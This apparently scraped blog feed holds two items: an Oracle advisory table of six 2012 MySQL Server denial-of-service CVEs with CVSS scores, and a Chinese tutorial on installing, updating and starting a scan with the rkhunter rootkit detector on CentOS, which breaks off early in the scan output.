<th rowspan="2">Protocol</th>
<th rowspan="2">Sub-<br />
component</th>
<th rowspan="2">Remote Exploit without Auth.?</th>
<th colspan="7">CVSS VERSION 2.0 RISK (see <a href="http://www.oracle.com/technetwork/topics/security/advisorymatrixglossary-101807.html" target="_blank">Risk Matrix Definitions</a>)</th>
<th rowspan="2">Supported Versions Affected</th>
<th rowspan="2">Notes</th>
</tr>
<tr>
<th>Base Score</th>
<th>Access Vector</th>
<th>Access Complexity</th>
<th>Authen-<br />
tication</th>
<th>Confiden-<br />
tiality</th>
<th>Integrity</th>
<th>Avail-<br />
ability</th>
</tr>
</thead>
<tbody>
<tr>
<td valign="center" height="54">CVE-2012-1703</td>
<td valign="center">MySQL Server</td>
<td valign="center">MySQL Protocol</td>
<td valign="center">Server Optimizer</td>
<td valign="center">No</td>
<td valign="center">6.8</td>
<td valign="center">Network</td>
<td valign="center">Low</td>
<td valign="center">Single</td>
<td valign="center">None</td>
<td valign="center">None</td>
<td valign="center">Complete</td>
<td valign="center">5.1.61 and earlier, 5.5.21 and earlier</td>
<td valign="center"></td>
</tr>
<tr>
<td valign="center" height="54">CVE-2012-0583</td>
<td valign="center">MySQL Server</td>
<td valign="center">MySQL Protocol</td>
<td valign="center">MyISAM</td>
<td valign="center">No</td>
<td valign="center">4.0</td>
<td valign="center">Network</td>
<td valign="center">Low</td>
<td valign="center">Single</td>
<td valign="center">None</td>
<td valign="center">None</td>
<td valign="center">Partial+</td>
<td valign="center">5.1.60 and earlier, 5.5.19 and earlier</td>
<td valign="center"></td>
</tr>
<tr>
<td valign="center" height="54">CVE-2012-1697</td>
<td valign="center">MySQL Server</td>
<td valign="center">MySQL Protocol</td>
<td valign="center">Partition</td>
<td valign="center">No</td>
<td valign="center">4.0</td>
<td valign="center">Network</td>
<td valign="center">Low</td>
<td valign="center">Single</td>
<td valign="center">None</td>
<td valign="center">None</td>
<td valign="center">Partial+</td>
<td valign="center">5.5.21 and earlier</td>
<td valign="center"></td>
</tr>
<tr>
<td valign="center" height="54">CVE-2012-1688</td>
<td valign="center">MySQL Server</td>
<td valign="center">MySQL Protocol</td>
<td valign="center">Server DML</td>
<td valign="center">No</td>
<td valign="center">4.0</td>
<td valign="center">Network</td>
<td valign="center">Low</td>
<td valign="center">Single</td>
<td valign="center">None</td>
<td valign="center">None</td>
<td valign="center">Partial+</td>
<td valign="center">5.1.61 and earlier, 5.5.21 and earlier</td>
<td valign="center"></td>
</tr>
<tr>
<td valign="center" height="54">CVE-2012-1696</td>
<td valign="center">MySQL Server</td>
<td valign="center">MySQL Protocol</td>
<td valign="center">Server Optimizer</td>
<td valign="center">No</td>
<td valign="center">4.0</td>
<td valign="center">Network</td>
<td valign="center">Low</td>
<td valign="center">Single</td>
<td valign="center">None</td>
<td valign="center">None</td>
<td valign="center">Partial+</td>
<td valign="center">5.5.19 and earlier</td>
<td valign="center"></td>
</tr>
<tr>
<td valign="center" height="54">CVE-2012-1690</td>
<td valign="center">MySQL Server</td>
<td valign="center">MySQL Protocol</td>
<td valign="center">Server Optimizer</td>
<td valign="center">No</td>
<td valign="center">4.0</td>
<td valign="center">Network</td>
<td valign="center">Low</td>
<td valign="center">Single</td>
<td valign="center">None</td>
<td valign="center">None</td>
<td valign="center">Partial+</td>
<td valign="center">5.1.61 and earlier, 5.5.21 and earlier</td>
<td valign="center">&nbsp;</td>
</tr>
</tbody>
</table>
<h2 id="Oracle MySQL"></h2>
<h2>Text Form of Risk Matrix for Oracle MySQL</h2>
<p>This table provides the text form of the Risk Matrix for Oracle MySQL.</p>
<table class="dataTable3padd" style="border-collapse: collapse;" width="100%" border="1" cellspacing="0" cellpadding="4">
<tbody>
<tr>
<th align="middle" bgcolor="#cccccc">CVE Identifier</th>
<th align="middle" bgcolor="#cccccc">Description</th>
</tr>
<tr>
<td>CVE-2012-0583</td>
<td>Vulnerability in the MySQL Server component of Oracle MySQL (subcomponent: MyISAM). Supported versions that are affected are 5.1.60 and earlier and 5.5.19 and earlier. Easily exploitable vulnerability allows successful authenticated network attacks via multiple protocols. Successful attack of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server.CVSS Base Score 4.0 (Availability impacts). CVSS V2 Vector: (AV:N/AC:L/Au:S/C:N/I:N/A:P). (<a href="http://nvd.nist.gov/cvss.cfm?vectorinfo&amp;version=2" target="_blank">legend</a>) [<a href="http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html" target="_blank">Advisory</a>]</td>
</tr>
<tr>
<td>CVE-2012-1688</td>
<td>Vulnerability in the MySQL Server component of Oracle MySQL (subcomponent: Server DML). Supported versions that are affected are 5.1.61 and earlier and 5.5.21 and earlier. Easily exploitable vulnerability allows successful authenticated network attacks via multiple protocols. Successful attack of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server.CVSS Base Score 4.0 (Availability impacts). CVSS V2 Vector: (AV:N/AC:L/Au:S/C:N/I:N/A:P). (<a href="http://nvd.nist.gov/cvss.cfm?vectorinfo&amp;version=2" target="_blank">legend</a>) [<a href="http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html" target="_blank">Advisory</a>]</td>
</tr>
<tr>
<td>CVE-2012-1690</td>
<td>Vulnerability in the MySQL Server component of Oracle MySQL (subcomponent: Server Optimizer). Supported versions that are affected are 5.1.61 and earlier and 5.5.21 and earlier. Easily exploitable vulnerability allows successful authenticated network attacks via multiple protocols. Successful attack of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server.CVSS Base Score 4.0 (Availability impacts). CVSS V2 Vector: (AV:N/AC:L/Au:S/C:N/I:N/A:P). (<a href="http://nvd.nist.gov/cvss.cfm?vectorinfo&amp;version=2" target="_blank">legend</a>) [<a href="http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html" target="_blank">Advisory</a>]</td>
</tr>
<tr>
<td>CVE-2012-1696</td>
<td>Vulnerability in the MySQL Server component of Oracle MySQL (subcomponent: Server Optimizer). Supported versions that are affected are 5.5.19 and earlier. Easily exploitable vulnerability allows successful authenticated network attacks via multiple protocols. Successful attack of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server.CVSS Base Score 4.0 (Availability impacts). CVSS V2 Vector: (AV:N/AC:L/Au:S/C:N/I:N/A:P). (<a href="http://nvd.nist.gov/cvss.cfm?vectorinfo&amp;version=2" target="_blank">legend</a>) [<a href="http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html" target="_blank">Advisory</a>]</td>
</tr>
<tr>
<td>CVE-2012-1697</td>
<td>Vulnerability in the MySQL Server component of Oracle MySQL (subcomponent: Partition). Supported versions that are affected are 5.5.21 and earlier. Easily exploitable vulnerability allows successful authenticated network attacks via multiple protocols. Successful attack of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server.CVSS Base Score 4.0 (Availability impacts). CVSS V2 Vector: (AV:N/AC:L/Au:S/C:N/I:N/A:P). (<a href="http://nvd.nist.gov/cvss.cfm?vectorinfo&amp;version=2" target="_blank">legend</a>) [<a href="http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html" target="_blank">Advisory</a>]</td>
</tr>
<tr>
<td>CVE-2012-1703</td>
<td>Vulnerability in the MySQL Server component of Oracle MySQL (subcomponent: Server Optimizer). Supported versions that are affected are 5.1.61 and earlier and 5.5.21 and earlier. Easily exploitable vulnerability allows successful authenticated network attacks via multiple protocols. Successful attack of this vulnerability can result in unauthorized Operating System hang or frequently repeatable crash (complete DOS).CVSS Base Score 6.8 (Availability impacts). CVSS V2 Vector: (AV:N/AC:L/Au:S/C:N/I:N/A:C). (<a href="http://nvd.nist.gov/cvss.cfm?vectorinfo&amp;version=2" target="_blank">legend</a>) [<a href="http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html" target="_blank">Advisory</a>]</td>
</tr>
</tbody>
</table>
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<p><span style="font-size: small;"><br />
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		<title>入侵检测工具rkhunter安装</title>
		<link>http://blog.c1gstudio.com/archives/1407</link>
		<comments>http://blog.c1gstudio.com/archives/1407#comments</comments>
		<pubDate>Mon, 16 Apr 2012 06:53:54 +0000</pubDate>
		<dc:creator>C1G</dc:creator>
				<category><![CDATA[安全]]></category>
		<category><![CDATA[rkhunter]]></category>

		<guid isPermaLink="false">http://blog.c1gstudio.com/?p=1407</guid>
		<description><![CDATA[rkhunter是Linux下的一款开源入侵检测工具。rkhunter具有比chrootkit更为全面的扫描范围。除rootkit特征码扫描外，rkhunter还支持端口扫描，常用开源软件版本和文件变动情况检查等。 rkhunter的官方网站位于http://www.rootkit.nl/，目前最新的版本是rkhunter-1.3.8。 centos5.8 Linux C1gstudio 2.6.18-308.el5 #1 SMP Tue Feb 21 20:06:06 EST 2012 x86_64 x86_64 x86_64 GNU/Linux 一.安装 安装到自定义目录/usr/local/rkhunter wget http://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.3.8/rkhunter-1.3.8.tar.gz tar zxvf rkhunter-1.3.8.tar.gz cd rkhunter-1.3.8 mkdir -p /usr/local/rkhunter ./installer.sh --layout custom /usr/local/rkhunter --install Note: Directory /usr/local/rkhunter/bin is not in your PATH &#160; Checking system for: &#160;Rootkit Hunter installer files: found &#160;A web file [...]]]></description>
			<content:encoded><![CDATA[<p>rkhunter是Linux下的一款开源入侵检测工具。rkhunter具有比<a href="http://blog.c1gstudio.com/archives/1365">chrootkit</a>更为全面的扫描范围。除rootkit特征码扫描外，rkhunter还支持端口扫描，常用开源软件版本和文件变动情况检查等。<br />
rkhunter的官方网站位于<a href="http://www.rootkit.nl/">http://www.rootkit.nl/</a>，目前最新的版本是rkhunter-1.3.8。</p>
<p>centos5.8<br />
Linux C1gstudio 2.6.18-308.el5 #1 SMP Tue Feb 21 20:06:06 EST 2012 x86_64 x86_64 x86_64 GNU/Linux</p>
<p><strong>一.安装</strong><br />
安装到自定义目录/usr/local/rkhunter</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">wget http://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.3.8/rkhunter-1.3.8.tar.gz </li>
<li>tar zxvf rkhunter-1.3.8.tar.gz </li>
<li>cd rkhunter-1.3.8</li>
<li>mkdir -p /usr/local/rkhunter</li>
<li>./installer.sh --layout custom /usr/local/rkhunter --install</li></ol></div>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">Note: Directory /usr/local/rkhunter/bin is not in your PATH</li>
<li>&nbsp;</li>
<li>Checking system for:</li>
<li>&nbsp;Rootkit Hunter installer files: found</li>
<li>&nbsp;A web file download command: wget found</li>
<li>Starting installation:</li>
<li>&nbsp;Checking installation directory &quot;/usr/local/rkhunter&quot;: it exists and is writable.</li>
<li>&nbsp;Checking installation directories:</li>
<li>&nbsp; Directory /usr/local/rkhunter/share/doc/rkhunter-1.3.8: creating: OK</li>
<li>&nbsp; Directory /usr/local/rkhunter/share/man/man8: creating: OK</li>
<li>&nbsp; Directory /usr/local/rkhunter/etc: creating: OK</li>
<li>&nbsp; Directory /usr/local/rkhunter/bin: creating: OK</li>
<li>&nbsp; Directory /usr/local/rkhunter/lib64: creating: OK</li>
<li>&nbsp; Directory /usr/local/rkhunter/var/lib: creating: OK</li>
<li>&nbsp; Directory /usr/local/rkhunter/lib64/rkhunter/scripts: creating: OK</li>
<li>&nbsp; Directory /usr/local/rkhunter/var/lib/rkhunter/db: creating: OK</li>
<li>&nbsp; Directory /usr/local/rkhunter/var/lib/rkhunter/tmp: creating: OK</li>
<li>&nbsp; Directory /usr/local/rkhunter/var/lib/rkhunter/db/i18n: creating: OK</li>
<li>&nbsp;Installing check_modules.pl: OK</li>
<li>&nbsp;Installing filehashsha.pl: OK</li>
<li>&nbsp;Installing stat.pl: OK</li>
<li>&nbsp;Installing readlink.sh: OK</li>
<li>&nbsp;Installing backdoorports.dat: OK</li>
<li>&nbsp;Installing mirrors.dat: OK</li>
<li>&nbsp;Installing programs_bad.dat: OK</li>
<li>&nbsp;Installing suspscan.dat: OK</li>
<li>&nbsp;Installing rkhunter.8: OK</li>
<li>&nbsp;Installing ACKNOWLEDGMENTS: OK</li>
<li>&nbsp;Installing CHANGELOG: OK</li>
<li>&nbsp;Installing FAQ: OK</li>
<li>&nbsp;Installing LICENSE: OK</li>
<li>&nbsp;Installing README: OK</li>
<li>&nbsp;Installing language support files: OK</li>
<li>&nbsp;Installing rkhunter: OK</li>
<li>&nbsp;Installing rkhunter.conf: OK</li>
<li>Installation complete</li></ol></div>
<p> /usr/local/rkhunter/bin/rkhunter &#8211;help</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">Usage: rkhunter {--check | --unlock | --update | --versioncheck |</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; --propupd [{filename | directory | package name},...] |</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; --list [{tests | {lang | languages} | rootkits | perl}] |</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; --config-check | --version | --help} [options]</li>
<li>&nbsp;</li>
<li>Current options are:</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; --append-log&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Append to the logfile, do not overwrite</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; --bindir &lt;directory&gt;...&nbsp; &nbsp; &nbsp; &nbsp;Use the specified command directories</li>
<li>&nbsp;&nbsp; &nbsp; -c, --check&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Check the local system</li>
<li>&nbsp;&nbsp; &nbsp; -C, --config-check&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Check the configuration file(s), then exit</li>
<li>&nbsp; --cs2, --color-set2&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Use the second color set for output</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; --configfile &lt;file&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Use the specified configuration file</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; --cronjob&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Run as a cron job</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (implies -c, --sk and --nocolors options)</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; --dbdir &lt;directory&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Use the specified database directory</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; --debug&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Debug mode</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Do not use unless asked to do so)</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; --disable &lt;test&gt;[,&lt;test&gt;...]&nbsp; Disable specific tests</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Default is to disable no tests)</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; --display-logfile&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Display the logfile at the end</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; --enable&nbsp; &lt;test&gt;[,&lt;test&gt;...]&nbsp; Enable specific tests</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Default is to enable all tests)</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; --hash {MD5 | SHA1 | SHA224 | SHA256 | SHA384 | SHA512 |</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NONE | &lt;command&gt;}&nbsp; &nbsp; &nbsp;Use the specified file hash function</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Default is SHA1, then MD5)</li>
<li>&nbsp;&nbsp; &nbsp; -h, --help&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Display this help menu, then exit</li>
<li>&nbsp;--lang, --language &lt;language&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Specify the language to use</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Default is English)</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; --list [tests | languages |&nbsp; &nbsp;List the available test names, languages, checked</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rootkits | perl]&nbsp; &nbsp; &nbsp; for rootkits, or perl module status, then exit</li>
<li>&nbsp;&nbsp; &nbsp; -l, --logfile [file]&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write to a logfile</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Default is /var/log/rkhunter.log)</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; --noappend-log&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Do not append to the logfile, overwrite it</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; --nocf&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Do not use the configuration file entries</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for disabled tests (only valid with --disable)</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; --nocolors&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Use black and white output</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; --nolog&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Do not write to a logfile</li>
<li>--nomow, --no-mail-on-warning&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Do not send a message if warnings occur</li>
<li>&nbsp;&nbsp; --ns, --nosummary&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Do not show the summary of check results</li>
<li>&nbsp;--novl, --no-verbose-logging&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; No verbose logging</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; --pkgmgr {RPM | DPKG | BSD |&nbsp; Use the specified package manager to obtain or</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SOLARIS | NONE}&nbsp; &nbsp; &nbsp;verify file property values. (Default is NONE)</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; --propupd [file | directory | Update the entire file properties database,</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;package]...&nbsp; &nbsp; &nbsp; &nbsp; or just for the specified entries</li>
<li>&nbsp;&nbsp; &nbsp; -q, --quiet&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Quiet mode (no output at all)</li>
<li>&nbsp; --rwo, --report-warnings-only&nbsp; &nbsp; &nbsp; &nbsp; Show only warning messages</li>
<li>&nbsp;&nbsp; &nbsp; -r, --rootdir &lt;directory&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Use the specified root directory</li>
<li>&nbsp;&nbsp; --sk, --skip-keypress&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Don't wait for a keypress after each test</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; --summary&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Show the summary of system check results</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (This is the default)</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; --syslog [facility.priority]&nbsp; Log the check start and finish times to syslog</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Default level is authpriv.notice)</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; --tmpdir &lt;directory&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Use the specified temporary directory</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; --unlock&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Unlock (remove) the lock file</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; --update&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Check for updates to database files</li>
<li>&nbsp;&nbsp; --vl, --verbose-logging&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Use verbose logging (on by default)</li>
<li>&nbsp;&nbsp; &nbsp; -V, --version&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Display the version number, then exit</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; --versioncheck&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Check for latest version of program</li>
<li>&nbsp;&nbsp; &nbsp; -x, --autox&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Automatically detect if X is in use</li>
<li>&nbsp;&nbsp; &nbsp; -X, --no-autox&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Do not automatically detect if X is in use</li></ol></div>
<p>更新db<br />
/usr/local/rkhunter/bin/rkhunter &#8211;update</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">[ Rootkit Hunter version 1.3.8 ]</li>
<li>&nbsp;</li>
<li>Checking rkhunter data files...</li>
<li>&nbsp; Checking file mirrors.dat&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ No update ]</li>
<li>&nbsp; Checking file programs_bad.dat&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Updated ]</li>
<li>&nbsp; Checking file backdoorports.dat&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ No update ]</li>
<li>&nbsp; Checking file suspscan.dat&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ No update ]</li>
<li>&nbsp; Checking file i18n/cn&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ No update ]</li>
<li>&nbsp; Checking file i18n/de&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ No update ]</li>
<li>&nbsp; Checking file i18n/en&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ No update ]</li>
<li>&nbsp; Checking file i18n/zh&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ No update ]</li>
<li>&nbsp; Checking file i18n/zh.utf8&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ No update ]</li></ol></div>
<p>ll /usr/local/rkhunter/var/lib/rkhunter/db/</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">total 20</li>
<li>-rw-r----- 1 root root 1055 Apr&nbsp; 9 13:43 backdoorports.dat</li>
<li>drwxr-x--- 2 root root 4096 Apr&nbsp; 9 13:43 i18n</li>
<li>-rw-r----- 1 root root&nbsp; &nbsp;58 Apr&nbsp; 9 13:44 mirrors.dat</li>
<li>-rw-r----- 1 root root 3203 Apr&nbsp; 9 13:44 programs_bad.dat</li>
<li>-rw-r----- 1 root root 1904 Apr&nbsp; 9 13:43 suspscan.dat</li></ol></div>
<p>在系统“干净”的时候产生对比文件<br />
/usr/local/rkhunter/bin/rkhunter &#8211;propupd<br />
[ Rootkit Hunter version 1.3.8 ]<br />
File created: searched for 164 files, found 135</p>
<p>多了rkhunter.dat,rkhunter_prop_list.dat文件<br />
ll /usr/local/rkhunter/var/lib/rkhunter/db/</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">total 68</li>
<li>-rw-r----- 1 root root&nbsp; 1055 Apr&nbsp; 9 13:43 backdoorports.dat</li>
<li>drwxr-x--- 2 root root&nbsp; 4096 Apr&nbsp; 9 13:43 i18n</li>
<li>-rw-r----- 1 root root&nbsp; &nbsp; 58 Apr&nbsp; 9 13:44 mirrors.dat</li>
<li>-rw-r----- 1 root root&nbsp; 3203 Apr&nbsp; 9 13:44 programs_bad.dat</li>
<li>-rw-r----- 1 root root 12958 Apr&nbsp; 9 13:47 rkhunter.dat</li>
<li>-rw-r----- 1 root root 31798 Apr&nbsp; 9 13:47 rkhunter_prop_list.dat</li>
<li>-rw-r----- 1 root root&nbsp; 1904 Apr&nbsp; 9 13:43 suspscan.dat</li></ol></div>
<p><strong> 二.开始检查,有问题会红色的Warning 提示</strong><br />
 /usr/local/rkhunter/bin/rkhunter -c &#8211;sk</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">[ Rootkit Hunter version 1.3.8 ]</li>
<li>&nbsp;</li>
<li>Checking system commands...</li>
<li>&nbsp;</li>
<li>&nbsp; Performing 'strings' command checks</li>
